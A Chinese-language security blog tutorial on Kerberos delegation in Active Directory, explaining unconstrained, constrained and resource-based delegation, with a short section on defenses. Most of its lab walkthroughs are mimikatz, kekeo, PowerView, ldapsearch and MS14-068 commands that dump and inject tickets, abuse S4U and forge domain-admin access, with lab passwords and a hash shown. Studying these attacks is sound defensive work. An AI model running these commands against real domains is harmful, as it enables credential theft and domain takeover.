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kerberos委派详解

发表于:2021-10-08 14:26 作者: brodyproder 阅读数(141人)

委派

域委派是指,将域内用户的权限委派给服务账号,使得服务账号能以用户权限开展域内活动。

服务账号(Service Account),域内用户的一种类型,服务器运行服务时所用的账号,将服务运行起来并加入域。例如MSSQL Server在安装时,

会在域内自动注册服务账号'SqlServiceAccount',这类账号不能用于交互式登录。

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上图是经典的应用场景。一个域内普通用户jack通过Kerberos协议认证到前台WEB服后,前台运行WEB服务的服务账号websvc模拟(Impersonate)用户jack,以Kerberos协议继续认证到后台服务器,从而在后台服务器中获取jack用户的访问权限,即域中跳或者多跳的Kerberos认证。按照图中红色字体的数字,具体步骤如下:

1.  域内用户jack以Kerberos方式认证后访问Web服务器;

2. Web服务以websvc服务账号运行,websvc向KDC发起jack用户的票据申请;

3. KDC检查websvc用户的委派属性,如果被设置,则返回jack用户的可转发票据TGT;

4. websvc收到jack用户TGT后,使用该票据向KDC申请访问文件服务器的服务票据TGS;

5. KDC检查websvc的委派属性,如果被设置,且申请的文件服务在允许的列表清单中,则返回一个jack用户访问文件服务的授权票据TGS;

6. websvc收到的jack用户的授权票据TGS后,可访问文件服务,完成多跳认证。

在域中,只有 服务账号 和 主机账号 才具有委派属性

主机账号就是AD活动目录中 Computers 中的计算机,也可以称为机器账号(一个普通域用户默认最多可以创建十个主机账号)。服务账号(Service Account)是域内用户的一种类型,是服务器运行服务时所用的账号,将服务运行起来并加入域。例如SQL Server 在安装时,会在域内自动注册服务账号 SQLServiceAccount。也可以将域用户通过注册SPN变为服务账号。

委派的前提

需要被委派的用户未设置不允许被委派属性,这里如果打勾则Administrator用户不能够被委派

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非约束性委派

对于非约束性委派,服务账号可以获取被委派用户的 TGT ,并将 TGT 缓存到 LSASS 进程中,从而服务账号可使用该 TGT ,模拟用户访问任意服务。

当服务账号或者主机被设置为非约束性委派时,其 userAccountControl 属性会包含 WORKSTATION_TRUSTED_FOR_DELEGATION

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从网络攻击的角度看,如果攻击者控制了服务账号B,并诱骗管理员来访问服务A,则可以获取管理员的TGT,进而模拟管理员访问任意服务,即获得管理员权限。越是大型网络、应用越多的网络,服务账号越多,委派的应用越多,越容易获取域管理员权限。

约束性委派

由于非约束委派的不安全性,微软在Windows Server 2003中发布了约束性委派。对于约束性委派(Constrained Delegation),即Kerberos的两个扩展子协议 S4u2self (Service for User to Self) 和 S4u2Proxy (Service for User to Proxy),服务账号只能获取用户的TGS,从而只能模拟用户访问特定的服务。

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配置了约束委派的账户的 userAccountControl 属性有个FLAG位 TRUSTED_TO_AUTH_FOR_DELEGATION,并且msDS-AllowedToDelegateTo 属性,还会指定对哪个SPN进行委派。

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基于资源的约束性委派

为了使用户/资源更加独立,微软在Windows Server 2012中引入了基于资源的约束性委派。基于资源的约束委派不需要域管理员权限去设置,而把设置属性的权限赋予给了机器自身。基于资源的约束性委派允许资源配置受信任的帐户委派给他们。基于资源的约束委派只能在运行WindowsServer2012和Windows Server 2012R2及以上的域控制器上配置,但可以在混合模式林中应用。配置了基于资源的约束委派的账户的userAccountControl属性为 WORKSTATION_TRUST_ACCOUNT,并且msDS-AllowedToActOnBehalfOfOtherIdentity属性的值为被允许基于资源约束性委派的账号的SID。

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基于资源的约束性委派和约束性委派差别

委派的权限授予给了拥有资源的后端(B),而不再是前端(A)

约束性委派不能跨域进行委派,基于资源的约束性委派可以跨域和林

不再需要域管理员权限设置委派,只需拥有在计算机对象上编辑”msDS-AllowedToActOnBehalfOfOtherIdentity”属性的权限,也就是将计算机加入域的域用户 和 机器自身 拥有权限。

传统的约束委派是“正向的”,通过修改服务A的属性”msDS-AllowedToDelegateTo”,添加服务B的SPN(Service Principle Name),设置约束委派对象(服务B),服务A便可以模拟用户向域控制器请求访问服务B的ST服务票据。

而基于资源的约束委派则是相反的,通过修改服务B属性”msDS-AllowedToActOnBehalfOfOtherIdentity”,添加服务A的SID,达到让服务A模拟用户访问B资源的目的。

非约束委派和约束委派的流程

非约束委派流程

前提:在机器账号B上配置了非约束性委派(域管理员才有权限配置)

1.用户访问机器B的某个服务,于是向KDC认证。KDC会检查机器B的机器账号的属性,发现是非约束性委派,KDC会将用户的TGT放在ST服务票据中。

2.用户访问机器B时,TGT票据会和ST服务票据一同发送给机器B

3.这样B在验证ST服务票据的同时获取了用户的TGT,并将TGT存储在LSASS进程中,从而可以模拟用户访问任意服务。

从网络攻击的角度来看,如果攻击者控制了机器B的机器账号,并且机器B配置了非约束性委派。则攻击者可以诱骗管理员来访问机器B,然后攻击者可以获取管理员的TGT,从而模拟管理员访问任意服务,即获得了管理员权限。

约束性委派流程

前提:在服务A上配置到服务B约束性委派(域管理员才有权限配置)

1.用户访问服务A,于是向域控进行kerberos认证,域控返回ST1服务票据给用户,用户使用此服务票据访问服务A

2.若该服务A允许委派给服务B,则A能使用S4U2Proxy协议将用户发送给自己的可转发的ST1服务票据以用户的身份再转发给域控制器。于是域控返回给服务A一个ST2服务票据。

3.服务A便能使用获得的ST2服务票据以用户的身份访问服务B。

从网络攻击的角度来看,如果攻击者控制了服务A的账号,并且服务A配置了到域控的CIFS服务的约束性委派。则攻击者可以利用服务A以administrator身份访问域控的CIFS服务,即相当于控制了域控。

筛选非委派属性的账号

注:域控主机账户默认开启非约束委派

PowerSploit下的PowerView.ps1脚本

Import-Module .\\PowerView.ps1;

查询域中配置非约束委派的账户

Get-NetUser -Unconstrained -Domain Drunkmars.com

Get-NetUser -Unconstrained -Domain Drunkmars.com \| select name

查询域中配置非约束委派的主机:

Get-NetComputer -Unconstrained -Domain Drunkmars.com \| select name

ADFind

使用参数

AdFind [switches] [-b basedn] [-f filter] [attr list]

参数说明:

-b:指定要查询的根节点

-f:LDAP过滤条件

attr list:需要显示的属性

查找域中配置非约束委派的用户:

AdFind.exe -b "DC=0day,DC=org" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cndistinguishedName

查找域中配置非约束委派的主机:

AdFind.exe -b "DC=0day,DC=org" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cndistinguishedName

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ldapsearch

kali自带,可以在域外使用

查找域中配置非约束委派的用户

ldapsearch -x -H ldap://192.168.200.143:389 -D "CN=administrator,CN=Users,DC=0day,DC=org" -w admin\!\@\45 -b"DC=0day,DC=org""(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"

查找域中配置非约束委派的主机

powershell ldapsearch -x -H ldap://192.168.200.146:389 -D "CN=administrator,CN=Users,DC=0day,DC=org" -w admin\!\@\45 -b"DC=0day,DC=org" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" | grep -iE "distinguishedName"

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查询某用户是否具有委派性

Import-Module .\\powerview.ps1;

Get-DomainUser 域用户名 -Properties
useraccountcontrol,msds-allowedtodelegateto| fl

当该账号没委派属性时,查询不出任何信息

当服务账号被设置为 非约束性委派 时,其 userAccountControl 属性会包含为 TRUSTED_FOR_DELEGATION

当被设置为 约束性委派 时,其 userAccountControl 属性包含

TRUSTED_TO_AUTH_FOR_DELEGATION

https://msdn.microsoft.com/en-us/library/aa772300%28v=vs.85%29.aspx

且msds-allowedtodelegateto 属性会被设置为哪些 SPN。

非约束委派攻击

非约束委派:当user访问service1时,如果service1的服务账号开启了 unconstrained delegation (非约束委派),则当 user 访问 service1时会将user的 TGT 发送给 service1 并保存在内存中以备下次重用,然后 service1 就可以利用这张 TGT 以user的身份去访问域内的任何服务(任何服务是指user能访问的服务)了

操作环境:

  • 域:Drunkmars.com

  • 域控:windows server 2012R2,主机名:WIN-M836NN6NU8B,IP: 192.168.10.5

  • 域管账户:sqladmin

  • 域内主机:windows7,主机名:MESSI-PC,IP:192.168.10.7,用户:mars2(普通域用户)

注:在Windows系统中,只有服务账号和主机账号的属性才有委派功能,普通用户默认是没有的

查找非约束委派主机帐号

Import-Module .\\powerview.ps1;

Get-NetComputer -Unconstrained -Domain Drunkmars.com \| select name

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导出票据

先访问DC,可以看到访问失败

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用任意域管帐号访问win7(这里域管帐号登录在任意一台机器都可以)

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此时,在主机win8的lsass.exe内存中就会有域用户sqladmin的TGT票据

我们在win8上以管理员权限运行mimikatz,执行以下命令

privilege::debug

导出票据

sekurlsa::tickets /export

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注入票据

用 mimikatz 将这个票据导入内存中,然后访问域控

导入票据

kerberos::ptt [0;33f6ebf]-2-0-60a00000-sqladmin@krbtgt-0DAY.ORG.kirbi

查看票据

kerberos::list

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访问域控

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约束性委派攻击

操作环境:

域:0day.org

域内主机: windows 7 ,主机名:PC-jack-0day,IP:192.168.3.62,用户:jack

域控:OWA2010SP3

我们设置了机器用户PC-jack-0day对OWA2010SP3的 cifs 服务的委派

查找约束性委派的主机账号

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请求用户TGT

已经知道服务用户明文的条件下,我们可以用kekeo请求该用户的TGT

tgt::ask /user:PC-JACK-0DAY /domain:0day.org /password:password /ticket:test.kirbi

参数:

/user : 服务用户的用户名

/password : 服务用户的明文密码

/domain : 所在域名

/ticket : 指定票据名称,不过这个参数没有生效,可以忽略

kekeo同样也支持使用 NTLM Hash

在请求服务用户的TGT那步直接把 /password 改成 /NTLM 即可

这里我们知道PC-JACK-0DAY的ntlm hash为:768623e06fae601be0c04759c87d93d3

执行如下命令

tgt::ask /user:PC-JACK-0DAY /domain:0day.org /NTLM:768623e06fae601be0c04759c87d93d3 /ticket:test.kirbi

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得到TGT_PC-JACK-0DAY@0DAY.ORG_krbtgt~0day.org@0DAY.ORG.kirbi

获取ST

然后我们可以使用这张TGT通过伪造s4u请求以 administrator 用户身份请求访问 OWA2010SP3 CIFS 的ST

tgs::s4u /tgt:TGT_PC-JACK-0DAY@0DAY.ORG_krbtgt\~0day.org@0DAY.ORG.kirbi /user:Administrator@0day.org /service:cifs/OWA2010SP3.0day.org

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S4U2Self 获取到的ST1以及 S4U2Proxy 获取到的OWA2010SP3 CIFS服务的ST2会保存在当前目录下

注入ST2

然后我们用mimikatz将ST2导入当前会话即可

kerberos::ptt TGS_Administrator@0day.org@0DAY.ORG_cifs\~OWA2010SP3.0day.org@0DAY.ORG.kirbi

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访问域控

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不知道服务用户密码的情况

如果我们不知道服务用户的明文和NTLM Hash,但是我们有了服务用户登陆的主机权限(需要本地管理员权限),我们可以用 mimikatz 直接从内存中把服务用户的TGT dump出来

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit


注: sekurlsa::tickets 是列出和导出所有会话的 Kerberos 票据, sekurlsa::tickets 和 kerberos::list不同,sekurlsa是从内存读取,也就是从lsass进程读取,这也就是为什么sekurlsa::tickets /export 需要管理员权限的原因。并且 sekurlsa::tickets的导出不受密钥限制,sekurlsa可以访问其他会话(用户)的票证。

既然服务用户的TGT导出来了,我们就跳过 tgt::ask 请求TGT这步,直接 tgs::s4u

tgs::s4u /tgt:[0;3e7]-2-1-40e00000-PC-JACK-0DAY\$@krbtgt-0DAY.ORG.kirbi /user:Administrator@0day.org /service:cifs/OWA2010SP3.0day.org

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kerberos::ptt TGS_Administrator@0day.org@0DAY.ORG_cifs\~OWA2010SP3.0day.org@0DAY.ORG.kirbi

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抓包分析约束性委派攻击过程

这里可以看到有6个请求

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AS-REQ

可以看到用户PC-JACK-0DAY用户向KDC请求一张TGT

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AS-REP

返回一张TGT,这张TGT代表的就是PC-JACK-0DAY这个用户

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第一次的TGS-REQ和TGS-REP

用这张 TGT 发送 S4U2self 请求,以 Administrator 的名义向 TGS 申请了一张访问自身服务的票据,ST1

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第二次的TGS-REQ和TGS-REP

得到 ST1 之后,然后会带上ST1再次向 KDC 发起 SU42Proxy 请求,以 administrator 的名义请求一张访问 OWA2010SP3 cifs 服务的票据,ST2

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利用约束性委派进行权限维持

我们都知道TGT的生成是由 krbtgt 用户加密和签名的,如果我们能委派域上的用户去访问TGS ,那么就可以伪造任意用户的TGT了,黄金票据通常情况下我们是用 krbtgt的hash来伪造TGT,不过我们通过约束委派也能达到同样的效果。

注: TGS 默认的spn是 krbtgt/domain name ,我们操作环境是 krbtgt/QIYOU.COM

krbtgt 默认是禁用的而且无法启用,所以我们无法使用界面来添加这个SPN。

我们可以使用powershell来添加

Import-Module ActiveDirectory

$user = Get-ADUser test -Properties "msDS-AllowedToDelegateTo"

Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/0day.org") }

我们控制的用户选择的是自己创建的 test 域用户。密码Yicunyiye123

  • 域控:OWA2010SP3 192.168.200.146

  • 域:0day.org

  • 攻击机:Kali

首先修改 kali 的/etc/hosts/文件,添加如下内容

192.168.200.146 0day.org

192.168.200.146 OWA2010SP3

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创建域用户test然后赋予SPN

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然后在域控上配置test用户到krbtgt用户的约束性委派

Import-Module ActiveDirectory

$user = Get-ADUser test -Properties "msDS-AllowedToDelegateTo"

Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/0day.org") }

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可以看到test账户具有委派性

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然后在kali上攻击

域委派的防御措施

因为委派比较实用我们也不能说直接简单粗暴关闭该功能

1.高权限用户可以设置不能被委派

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可以看到administrator是无法成功的,但是sqladmin可以

2.Windows 2012R2及更高的系统建立了受保护的用户组,组内用户不允许被委派,这是有效的手段。受保护的用户组,当这个组内的用户登录时(windows2012 R2域服务器,客户端必须为Windows 8.1或之上),不能使用NTLM认证;适用于Windows Server 2016 , Windows Server 2012 R2 、 Windows Server 2012

3.一般TGT 4小时后失效

4.Kerberos预认证时不使用DES或者RC4等加密算法

PAC

原理分析:https://www.anquanke.com/post/id/192810h2-1

kerberos的流程:

1.用户向KDC发起AS_REQ,请求凭据是用户hash加密的时间戳,KDC使用用户hash进行解密,如果结果正确返回用krbtgthash加密的TGT票据

2.用户凭借TGT票据向KDC发起针对特定服务的TGS_REQ请求,KDC使用krbtgthash进行解密,如果结果正确,就返回用服务hash 加密的TGS票据

3.用户拿着TGS票据去请求服务,服务使用自己的hash解密TGS票据。如果解密正确,就允许用户访问。

上面这个流程看起来没错,却忽略一个最重要的因素,那就是用户有没有权限访问该服务,在上面的流程里面,只要用户的hash正确,那么就可以拿到TGT,有了TGT,就可以拿到TGS,有了TGS,就可以访问服务,任何一个用户都可以访问任何服务。也就是说上面的流程解决了”Who am i?”的问题,并没有解决 “What can I do?”的问题。

在Kerberos最初设计的流程里说明了如何证明客户端的真实身份,但是并没有说明客户端是否有权限访问该服务,因为在域中不同权限的用户能够访问的资源是不同的。所以微软为了解决权限这个问题,引入了 PAC (Privilege Attribute Certificate,特权属性证书) 的概念。

MS14-068

MS14-068编号CVE-2014-6324,补丁为3011780,如果自检可在域控制器上使用命令检测。systeminfo |find "3011780" 为 空说明该服务器存在MS14-068漏洞

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环境:

域机器:MESSI-PC,win7,知道一个域用户和密码:mars2\Drunkmars,Fcb0519..,拥有该机器的管理员权限

域控:WIN-M836NN6NU8B,ip:192.168.10.5

生成票据

MS14-068.exe -u mars2@Drunkmars.com -p Fcb0519.. -s S-1-5-21-652679085-3170934373-4288938398-1107 -d 192.168.10.5

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可以看到已经生成了TGT_mars2@Drunkmars.com.ccache

mimikatz导入票据

kerberos::ptc 票据路径

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访问域控